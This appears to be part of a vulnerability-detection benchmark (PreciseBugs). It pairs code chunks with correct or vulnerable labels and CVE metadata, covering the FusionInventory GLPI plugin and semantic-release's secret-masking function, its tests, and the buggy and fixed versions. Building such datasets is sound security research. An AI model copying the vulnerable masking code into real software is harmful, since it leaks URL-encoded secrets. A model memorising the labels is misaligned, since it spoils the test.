[];", " // Execute function with impersonated SESSION\n $result = call_user_func_array($function, $args);", " // Restore SESSION\n foreach ($OLD_SESSION as $key => $value) {\n $_SESSION[$key] = $value;\n }\n // Return function results\n return $result;\n }", "\n /**\n * Check if an item is inventoried by FusionInventory\n *\n * @since 9.2\n * @param CommonDBTM $item the item to check\n * @return boolean true if handle by FusionInventory\n */\n static function isAFusionInventoryDevice($item) {\n $table = '';\n switch ($item->getType()) {\n case 'Computer':\n $table = 'glpi_plugin_fusioninventory_inventorycomputercomputers';\n $fk = 'computers_id';\n break;", " case 'NetworkEquipment':\n $table = 'glpi_plugin_fusioninventory_networkequipments';\n $fk = 'networkequipments_id';\n break;", " case 'Printer':\n $table = 'glpi_plugin_fusioninventory_printers';\n $fk = 'printers_id';\n break;", " }\n if ($table) {\n return $item->isDynamic()\n && countElementsInTable($table, [$fk => $item->getID()]);\n } else {\n return 0;\n }\n }", "\n /**\n * Get default value for state of devices (monitor, printer...)\n *\n * @param string type the type of inventory performed (values : computer, snmp)\n * @param array $input\n * @return array the fields with the states_id filled, is necessary\n */\n static function addDefaultStateIfNeeded($type, $input) {\n $config = new PluginFusioninventoryConfig();\n switch ($type) {\n case 'computer':\n if ($states_id_default = $config->getValue(\"states_id_default\")) {\n $input['states_id'] = $states_id_default;\n }\n break;", " case 'snmp':\n if ($states_id_snmp_default = $config->getValue(\"states_id_snmp_default\")) {\n $input['states_id'] = $states_id_snmp_default;\n }\n break;", " default:\n $state = false;\n break;\n }\n return $input;\n }", " /**\n * Add a location if required by a rule\n * @since 9.2+2.0\n *\n * @param array $input fields of the asset being inventoried\n * @param array $output output array in which the location should be added (optionnal)\n * @return array the fields with the locations_id filled, is necessary\n */\n static function addLocation($input, $output = false) {\n //manage location\n $ruleLocation = new PluginFusioninventoryInventoryRuleLocationCollection();", " // * Reload rules (required for unit tests)\n $ruleLocation->getCollectionPart();", " $dataLocation = $ruleLocation->processAllRules($input);\n if (isset($dataLocation['locations_id'])) {\n if ($output) {\n $output['locations_id'] = $dataLocation['locations_id'];\n } else {\n $input['locations_id'] = $dataLocation['locations_id'];\n }\n }\n return ($output?$output:$input);\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [62, 522], "buggy_code_start_loc": [53, 521], "filenames": ["front/send_inventory.php", "inc/toolbox.class.php"], "fixing_code_end_loc": [61, 523], "fixing_code_start_loc": [52, 521], "message": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "0A68574C-AA9C-4825-8667-8D6E738A8513", "versionEndExcluding": "1.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "E4DB8EBF-93FD-4FBC-8D50-2334CE6ADE10", "versionEndExcluding": null, "versionEndIncluding": "9.3.3", "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "14A28339-0224-4846-96D1-88898B2912EC", "versionEndExcluding": "1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "02BDFBF8-8EFC-43E2-B78D-2817AF6FCA58", "versionEndExcluding": null, "versionEndIncluding": "9.4.1.1", "versionStartExcluding": null, "versionStartIncluding": "9.4.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions."}, {"lang": "es", "value": "El plugin \"FusionInventory\", en versiones anteriores a la 1.4 para GLPI 9.3.x y en las anteriores a la 1.1 para GLPI 9.4.x, gestiona de manera incorrecta las acciones sendXML."}], "evaluatorComment": null, "id": "CVE-2019-10477", "lastModified": "2019-04-01T19:25:30.453", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-03-29T14:29:00.530", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/260a864...e1f776d"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/cec774a...baa4158"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.3%2B1.4"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.4%2B1.1"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-19"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, "type": "CWE-19"}
125
Determine whether the {function_name} code is vulnerable or not.
[ "const {escapeRegExp, size, isString} = require('lodash');\nconst {SECRET_REPLACEMENT, SECRET_MIN_SIZE} = require('./definitions/constants');", "module.exports = (env) => {\n const toReplace = Object.keys(env).filter((envVar) => {\n // https://github.com/semantic-release/semantic-release/issues/1558\n if (envVar === 'GOPRIVATE') {\n return false;\n }", " return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n });\n", " const regexp = new RegExp(toReplace.map((envVar) => escapeRegExp(env[envVar])).join('|'), 'g');", " return (output) =>\n output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};" ]
[ 1, 1, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [15, 24], "buggy_code_start_loc": [14, 24], "filenames": ["lib/hide-sensitive.js", "test/hide-sensitive.test.js"], "fixing_code_end_loc": [20, 33], "fixing_code_start_loc": [14, 25], "message": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:semantic-release_project:semantic-release:*:*:*:*:*:*:*:*", "matchCriteriaId": "03D1E3D8-7DF5-4762-826A-25383CCFC8FC", "versionEndExcluding": "17.2.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3."}, {"lang": "es", "value": "En el paquete npm semantic-release anterior a versi\u00f3n 17.2.3, los secretos que normalmente estar\u00edan enmascarados por \"semantic-release\" pueden ser revelados accidentalmente si contienen caracteres que se codifican cuando se inclu\u00edan en una URL.&#xa0;Los secretos que no contienen caracteres que vienen codificados cuando se inclu\u00edan en una URL ya est\u00e1n enmascarados correctamente.&#xa0;El problema es corregido en la versi\u00f3n 17.2.3"}], "evaluatorComment": null, "id": "CVE-2020-26226", "lastModified": "2020-12-03T16:06:32.863", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2020-11-18T22:15:12.197", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-116"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, "type": "CWE-116"}
126
Determine whether the {function_name} code is vulnerable or not.
[ "const {escapeRegExp, size, isString} = require('lodash');\nconst {SECRET_REPLACEMENT, SECRET_MIN_SIZE} = require('./definitions/constants');", "module.exports = (env) => {\n const toReplace = Object.keys(env).filter((envVar) => {\n // https://github.com/semantic-release/semantic-release/issues/1558\n if (envVar === 'GOPRIVATE') {\n return false;\n }", " return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n });\n", " const regexp = new RegExp(\n toReplace\n .map((envVar) => `${escapeRegExp(env[envVar])}|${encodeURI(escapeRegExp(env[envVar]))}`)\n .join('|'),\n 'g'\n );", " return (output) =>\n output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [15, 24], "buggy_code_start_loc": [14, 24], "filenames": ["lib/hide-sensitive.js", "test/hide-sensitive.test.js"], "fixing_code_end_loc": [20, 33], "fixing_code_start_loc": [14, 25], "message": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:semantic-release_project:semantic-release:*:*:*:*:*:*:*:*", "matchCriteriaId": "03D1E3D8-7DF5-4762-826A-25383CCFC8FC", "versionEndExcluding": "17.2.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3."}, {"lang": "es", "value": "En el paquete npm semantic-release anterior a versi\u00f3n 17.2.3, los secretos que normalmente estar\u00edan enmascarados por \"semantic-release\" pueden ser revelados accidentalmente si contienen caracteres que se codifican cuando se inclu\u00edan en una URL.&#xa0;Los secretos que no contienen caracteres que vienen codificados cuando se inclu\u00edan en una URL ya est\u00e1n enmascarados correctamente.&#xa0;El problema es corregido en la versi\u00f3n 17.2.3"}], "evaluatorComment": null, "id": "CVE-2020-26226", "lastModified": "2020-12-03T16:06:32.863", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2020-11-18T22:15:12.197", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-116"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, "type": "CWE-116"}
126
Determine whether the {function_name} code is vulnerable or not.
[ "const test = require('ava');\nconst {repeat} = require('lodash');\nconst hideSensitive = require('../lib/hide-sensitive');\nconst {SECRET_REPLACEMENT, SECRET_MIN_SIZE} = require('../lib/definitions/constants');", "test('Replace multiple sensitive environment variable values', (t) => {\n const env = {SOME_PASSWORD: 'password', SOME_TOKEN: 'secret'};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_PASSWORD}@host.com?token=${env.SOME_TOKEN}`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});", "test('Replace multiple occurences of sensitive environment variable values', (t) => {\n const env = {secretKey: 'secret'};\n t.is(\n hideSensitive(env)(`https://user:${env.secretKey}@host.com?token=${env.secretKey}`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});", "test('Replace sensitive environment variable matching specific regex for \"private\"', (t) => {\n const env = {privateKey: 'secret', GOPRIVATE: 'host.com'};\n t.is(hideSensitive(env)(`https://host.com?token=${env.privateKey}`), `https://host.com?token=${SECRET_REPLACEMENT}`);", "", "});", "test('Escape regexp special characters', (t) => {\n const env = {SOME_CREDENTIALS: 'p$^{.+}\\\\w[a-z]o.*rd'};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_CREDENTIALS}@host.com`),\n `https://user:${SECRET_REPLACEMENT}@host.com`\n );\n});", "test('Accept \"undefined\" input', (t) => {\n t.is(hideSensitive({})(), undefined);\n});", "test('Return same string if no environment variable has to be replaced', (t) => {\n t.is(hideSensitive({})('test'), 'test');\n});", "test('Exclude empty environment variables from the regexp', (t) => {\n const env = {SOME_PASSWORD: 'password', SOME_TOKEN: ''};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_PASSWORD}@host.com?token=`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=`\n );\n});", "test('Exclude empty environment variables from the regexp if there is only empty ones', (t) => {\n t.is(hideSensitive({SOME_PASSWORD: '', SOME_TOKEN: ' \\n '})(`https://host.com?token=`), 'https://host.com?token=');\n});", "test('Exclude nonsensitive GOPRIVATE environment variable for Golang projects from the regexp', (t) => {\n const env = {GOPRIVATE: 'host.com'};\n t.is(hideSensitive(env)(`https://host.com?token=`), 'https://host.com?token=');\n});", "test('Exclude environment variables with value shorter than SECRET_MIN_SIZE from the regexp', (t) => {\n const SHORT_TOKEN = repeat('a', SECRET_MIN_SIZE - 1);\n const LONG_TOKEN = repeat('b', SECRET_MIN_SIZE);\n const env = {SHORT_TOKEN, LONG_TOKEN};\n t.is(\n hideSensitive(env)(`https://user:${SHORT_TOKEN}@host.com?token=${LONG_TOKEN}`),\n `https://user:${SHORT_TOKEN}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});" ]
[ 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [15, 24], "buggy_code_start_loc": [14, 24], "filenames": ["lib/hide-sensitive.js", "test/hide-sensitive.test.js"], "fixing_code_end_loc": [20, 33], "fixing_code_start_loc": [14, 25], "message": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:semantic-release_project:semantic-release:*:*:*:*:*:*:*:*", "matchCriteriaId": "03D1E3D8-7DF5-4762-826A-25383CCFC8FC", "versionEndExcluding": "17.2.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3."}, {"lang": "es", "value": "En el paquete npm semantic-release anterior a versi\u00f3n 17.2.3, los secretos que normalmente estar\u00edan enmascarados por \"semantic-release\" pueden ser revelados accidentalmente si contienen caracteres que se codifican cuando se inclu\u00edan en una URL.&#xa0;Los secretos que no contienen caracteres que vienen codificados cuando se inclu\u00edan en una URL ya est\u00e1n enmascarados correctamente.&#xa0;El problema es corregido en la versi\u00f3n 17.2.3"}], "evaluatorComment": null, "id": "CVE-2020-26226", "lastModified": "2020-12-03T16:06:32.863", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2020-11-18T22:15:12.197", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-116"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"}, "type": "CWE-116"}
126
Determine whether the {function_name} code is vulnerable or not.
[ "const test = require('ava');\nconst {repeat} = require('lodash');\nconst hideSensitive = require('../lib/hide-sensitive');\nconst {SECRET_REPLACEMENT, SECRET_MIN_SIZE} = require('../lib/definitions/constants');", "test('Replace multiple sensitive environment variable values', (t) => {\n const env = {SOME_PASSWORD: 'password', SOME_TOKEN: 'secret'};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_PASSWORD}@host.com?token=${env.SOME_TOKEN}`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});", "test('Replace multiple occurences of sensitive environment variable values', (t) => {\n const env = {secretKey: 'secret'};\n t.is(\n hideSensitive(env)(`https://user:${env.secretKey}@host.com?token=${env.secretKey}`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});", "test('Replace sensitive environment variable matching specific regex for \"private\"', (t) => {\n const env = {privateKey: 'secret', GOPRIVATE: 'host.com'};\n t.is(hideSensitive(env)(`https://host.com?token=${env.privateKey}`), `https://host.com?token=${SECRET_REPLACEMENT}`);", "});", "test('Replace url-encoded environment variable', (t) => {\n const env = {privateKey: 'secret '};\n t.is(\n hideSensitive(env)(`https://host.com?token=${encodeURI(env.privateKey)}`),\n `https://host.com?token=${SECRET_REPLACEMENT}`\n );", "});", "test('Escape regexp special characters', (t) => {\n const env = {SOME_CREDENTIALS: 'p$^{.+}\\\\w[a-z]o.*rd'};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_CREDENTIALS}@host.com`),\n `https://user:${SECRET_REPLACEMENT}@host.com`\n );\n});", "test('Accept \"undefined\" input', (t) => {\n t.is(hideSensitive({})(), undefined);\n});", "test('Return same string if no environment variable has to be replaced', (t) => {\n t.is(hideSensitive({})('test'), 'test');\n});", "test('Exclude empty environment variables from the regexp', (t) => {\n const env = {SOME_PASSWORD: 'password', SOME_TOKEN: ''};\n t.is(\n hideSensitive(env)(`https://user:${env.SOME_PASSWORD}@host.com?token=`),\n `https://user:${SECRET_REPLACEMENT}@host.com?token=`\n );\n});", "test('Exclude empty environment variables from the regexp if there is only empty ones', (t) => {\n t.is(hideSensitive({SOME_PASSWORD: '', SOME_TOKEN: ' \\n '})(`https://host.com?token=`), 'https://host.com?token=');\n});", "test('Exclude nonsensitive GOPRIVATE environment variable for Golang projects from the regexp', (t) => {\n const env = {GOPRIVATE: 'host.com'};\n t.is(hideSensitive(env)(`https://host.com?token=`), 'https://host.com?token=');\n});", "test('Exclude environment variables with value shorter than SECRET_MIN_SIZE from the regexp', (t) => {\n const SHORT_TOKEN = repeat('a', SECRET_MIN_SIZE - 1);\n const LONG_TOKEN = repeat('b', SECRET_MIN_SIZE);\n const env = {SHORT_TOKEN, LONG_TOKEN};\n t.is(\n hideSensitive(env)(`https://user:${SHORT_TOKEN}@host.com?token=${LONG_TOKEN}`),\n `https://user:${SHORT_TOKEN}@host.com?token=${SECRET_REPLACEMENT}`\n );\n});" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [15, 24], "buggy_code_start_loc": [14, 24], "filenames": ["lib/hide-sensitive.js", "test/hide-sensitive.test.js"], "fixing_code_end_loc": [20, 33], "fixing_code_start_loc": [14, 25], "message": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:semantic-release_project:semantic-release:*:*:*:*:*:*:*:*", "matchCriteriaId": "03D1E3D8-7DF5-4762-826A-25383CCFC8FC", "versionEndExcluding": "17.2.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3."}, {"lang": "es", "value": "En el paquete npm semantic-release anterior a versi\u00f3n 17.2.3, los secretos que normalmente estar\u00edan enmascarados por \"semantic-release\" pueden ser revelados accidentalmente si contienen caracteres que se codifican cuando se inclu\u00edan en una URL.&#xa0;Los secretos que no contienen caracteres que vienen codificados cuando se inclu\u00edan en una URL ya est\u00e1n enmascarados correctamente.&#xa0;El problema es corregido en la versi\u00f3n 17.2.3"}], "evaluatorComment": null, "id": "CVE-2020-26226", "lastModified": "2020-12-03T16:06:32.863", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", 